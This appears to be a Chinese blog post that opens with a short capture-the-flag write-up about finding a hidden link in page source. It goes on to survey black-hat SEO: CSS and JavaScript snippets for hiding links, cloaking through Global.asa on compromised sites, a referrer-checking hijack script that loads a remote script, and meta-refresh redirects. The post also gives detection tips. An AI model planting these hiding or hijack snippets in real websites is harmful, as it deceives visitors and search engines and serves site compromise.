HTML前端代码分析(查看网站黑链的几种方法)暗链是什么意思
暗鏈是什么意思呢?“暗鏈”就是看不見的網站??鏈接,“暗鏈”在網站中的鏈接做得非常隱蔽,短時間內不易被搜索引擎察覺。它和友情鏈接有相似之處,可以有效地提高PR值。但要注意一點PR值是對單獨頁面,而不是整個網站。??
?
HTML前端代碼分析(暗鏈)? 的題,解題思路如下:
1.開啟靶場環境,看起來是一個靜態頁面
2.按照往常的套路,查看源代碼
3.發現鏈接?http://192.168.1.1/19281028102.php
192.168.1.1貌似是是一個內網地址,無法訪問? ?PS:也有人說是本地地址(可是本地地址不是127.1.1.0嗎)
我們把192.168.1.1改成靶場的地址,訪問后拿到KEY
4.這道題引起了我的好奇心,之前聽別人說SEO和安全掛鉤,那么就只可能是黑產了,暗鏈其實就是黑帽SEO的一種手法,于是上網找了相關資料:
黑產
乃法外之地,被叢林法則所支配。沒有了第三方強制力量的保障和監督,在那個圈子里我們可以看到兩個極端:想做大生意的往往極重信譽,而那些只想撈一票就走的則會肆無忌憚地黑吃黑。
自從有了seo,就有了黑帽seo。黑白帽的臨界點沒有標準,就像好人和壞人沒有評判的標準。本文著重講黑產中黑帽SEO的幾個作弊手法。
1
暗鏈
暗鏈
也稱為黑鏈,即隱蔽鏈接 hidden links,是黑帽SEO的作弊手法之一。在早期的SEO優化中,黑鏈是最有效最迅速的方法之一;但是現在百度算法已經對iframe和display:none 等直接進行了打擊,如果你對代碼沒有任何處理的話,那么你所做的外鏈將全部降權。因此,目前黑帽SEO技術中,暗鏈已經用得不多,但還是有必要了解下這個經典的作弊手法。
掛暗鏈的目的很簡單,增加網站外鏈,提高網站排名;實現方式主要分為幾種:利用CSS實現、利用JS實現、利用DIV+JS實現,其他高級手法。
利用CSS實現掛暗鏈
display屬性
將display屬性設置為none,則頁面上不顯示此內容。
<divstyle="display:none;"><ahref=http://thief.one/>暗鏈 </a>
</div>
分析:這種形式以前效果較好,現在不建議使用,易被搜索引擎察覺。
color/font-size/line-height屬性
將color顏色設置與頁面背景色一樣,大小設置為小于或等于1。
<ahref=http://thief.onestyle="color:#FFFFFF;font-size:1px;line-height:1px ;">暗鏈 </a>分析:最初級的隱蔽鏈接,易被搜索引擎察覺。
position屬性
將position位置屬性設置成負數,使內容位于頁面可見范圍以外。
一種寫法:
<divstyle="position: absolute; top: -999px;left: -999px;"><ahref=http://thief.one>暗鏈 </a></div>另一種寫法
<divstyle="position:absolute;left:expression_r(1-900);top:expression_r(3-999);"><ahref=http://thief.one>暗鏈 </a></div>分析:以上2種寫法,都是將內容放到可見范圍以外,容易被搜索引擎識別。
marquee屬性
設置marquee滾動標簽屬性,使之快速閃現。
<marqueeheight=1width=5scrollamount=3000scrolldelay=20000><ahref=http://thief.one>暗鏈 </a></marquee>分析:鏈接以賽馬燈形式迅速閃現,這種形式以前效果較好,現在不建議使用。
利用JS實現掛暗鏈
利用js向頁面中寫入css代碼,設置屬性。
<script language="javascript" type="text/javascript">document.write("<div style='display:none;'>");
</script><div>
<a href=http://thief.one>暗鏈</a>
<script language="javascript" type="text/javascript">
document.write("</div>");
</script>
分析:js輸出前面提到的css代碼,到達一樣的效果。目前來說Google對這種js形式的代碼的內部實質意義還無法識別,但也不建議使用這種。
利用DIV+JS實現掛暗鏈
利用div與js功能,修改屬性。
<div id="anlian"><a href="http://thief.one">暗鏈</a></div><script language=javascript>
document.getElementById("anlian").style.display="none"
</script>
分析:這是一種DIV與JS結合做黑鏈的一種常見方法,蜘蛛一般不會讀取的內容,只會讀取div里的鏈接,可是div的顯示屬性卻被修改了。
掛暗鏈高級姿勢
<div class="father" style="position:relative"><div class="topLever" style="position:absolute;left:0;top:0;z-index:999; width:90%;height:100px;border:1px solid #333;background:#eee">遮擋層:可以放圖片或者Flash</div>
<div class="hideDontent">隱蔽層:可以放暗鏈鏈接</div>
</div>
分析:這種方式一般是放在Flash、圖片或者其它層對象下方。這個代碼是用父層相對定位,子層用絕對定位固定住以用來遮擋下面的隱蔽層內的暗鏈內容。
2
網頁劫持
網頁劫持
是目前黑帽SEO或者說黑產最喜歡的一種網頁引流方式,此手法往往通過入侵政府、教育機構網站(權重高),修改網站源代碼、放寄生蟲程序、設置二級目錄反向代理等實現。網頁劫持可以分為服務端劫持、客戶端劫持、百度快照劫持、百度搜索劫持等等;表現形式可以是劫持跳轉,也可以是劫持呈現的網頁內容,目前被廣泛應用于私服、博彩等暴利行業。
服務端劫持
服務端劫持也稱為全局劫持,手法為修改網站動態語言文本,判斷訪問來源控制返回內容,從來達到網站劫持的目的。
asp/aspx/php劫持
Global.asa、Global.asax、conn.asp、conn.php等文件比較特殊,作用是在每次執行一個動態腳本的時候,都會先加載該腳本, 然后再執行目標腳本。所以只要在 Global.asa 中寫判斷用戶系統信息的代碼(訪問來源等),如果是蜘蛛訪問則返回關鍵詞網頁(想要推廣的網站),如果是用戶訪問,則返回正常頁面。
客戶端劫持
客戶端劫持的手法也很多,但主要就是2種:js劫持、Header劫持。
js劫持
js劫持目的:通過向目標網頁植入惡意js代碼,控制網站跳轉、隱藏頁面內容、窗口劫持等。
js植入手法:可以通過入侵服務器,直接寫入源代碼中;也可以寫在數據庫中,因為有些頁面會呈現數據庫內容。
js劫持案例
效果:通過搜索引擎搜索點擊頁面(執行一段js)跳轉到博彩頁面;直接輸入網址訪問網頁,跳轉到404頁面。
代碼:
today=new Date();today=today.getYear()+ "-"+(today.getMonth()+1)+ "-"+today.getDate();
var regexp=/.
(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(.[a-z0-
9-]+){1,2}//ig;
var where =document.referer;
if(regexp.test(where)){
document.write ('< language= "java"type= "text/java"
src= "http://www.xxx.com/test.js"></>');
}
else
{
window.location.href= "../../404.htm";
}
分析:通過referer判斷來路,如果referer來路為空就是跳轉到404頁面,如果是搜索引擎來的referer里面也會有顯示,然后在寫代碼控制跳轉。如果只是控制實現顯示不同的內容,可以修改php、asp代碼;如果需要劫持搜索引擎搜索框,可以寫JS代碼來做瀏覽器本地跳轉。當然js功能可以無限擴展,比如可以控制一個ip一天內第一次訪問正常,其余訪問跳轉等等。
header劫持
在源代碼中寫入以下代碼:
<metahttp-equiv=“refresh“content=“10;url=http://thief.one“>利用的就是Meta Refresh Tag(自動轉向),將流量引走。
手法對比
客戶端劫持與服務端區別
客戶端劫持:每次訪問網頁從服務端獲取到的網頁代碼都是相同的,只是控制了網頁代碼在瀏覽器中呈現的效果(比如是否進行跳轉等)。
服務端劫持:改變了每次訪問網頁從服務端獲取到的網頁代碼。
客戶端劫持與服務端判斷方法
客戶端劫持的判斷方法:只需觀察瀏覽器呈現的網頁前端代碼,查看是否引用了不當的js,或者其它敏感內容。
服務端劫持的判斷方法:可以通過觀察網站后端代碼,或者通過改變ip,包頭等方式,觀察放回源碼是否不同。
3
頁面跳轉
想要更深入地了解黑帽SEO,就必須先了解關于網站的一些基礎知識,以及黑帽SEO常見的作弊手法。其中頁面跳轉便是作弊手法之一,最近我收集了一些關于頁面跳轉的相關內容,在此匯總分享。
頁面跳轉分類
服務端跳轉
一般用戶不會感覺到跳轉的實際行為,往往通過代碼去控制,因此有些時候我們也不叫做跳轉。具體的服務端跳轉行為有很多,各個語言技術都有各自的特點。
客戶端跳轉
客戶端跳轉分為:http層跳轉,應用層跳轉。
應用層跳轉分為:html head跳轉,js跳轉等。
1.http層跳轉
http跳轉是指server根據工作情況通過http返回狀態碼,利用http的重定向協議指示客戶端瀏覽器跳轉到相應頁面的過程,一般返回碼是302。
2.html head跳轉(HTML refresh)
在html代碼的head中添加特殊標簽,如下
<metahttp-equiv="refresh"content="5";?url="http://thief.one/"/>
表示:5秒之后轉到One Thief首頁,這個跳轉需要瀏覽器具體解析html后采能進行。
3.js跳轉
通過在html代碼中添加js代碼,通過js代碼實現跳轉:
<script language=”javascript” type=”text/javascript”>window.location.href=”login.jsp?backurl=”+window.location.href;
</script>
這個跳轉應該比html head跳轉更向后延遲。
各種跳轉包含關系
服務端跳轉
客戶端跳轉
http跳轉
應用層跳轉
html head跳轉
html js跳轉
?
最后我們總結下
明鏈、暗鏈、黑鏈分別是什么意思
明鏈:就是光明正大的鏈接,一般明鏈講的就是買的友情鏈接,是在對方網站上看到鏈接到自己網站的鏈接。暗鏈:可以是自己做在網站上做的隱秘外鏈。因為字體跟背景同一顏色,所以我們的看不見,而搜索引擎是能分辨的就稱暗鏈。在搜索引擎而言,這是違規的做法黑鏈:講的是買的友情鏈接而且是隱藏的暗鏈,要從代碼才看得見的鏈接。不建議買黑鏈,搜索引擎發現就會導致降權。
總結
以上是生活随笔為你收集整理的HTML前端代码分析(查看网站黑链的几种方法)暗链是什么意思的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 计算机硬件:内存常识知多少?内存知识盲区
- 下一篇: 前端面试笔记随笔---kalrry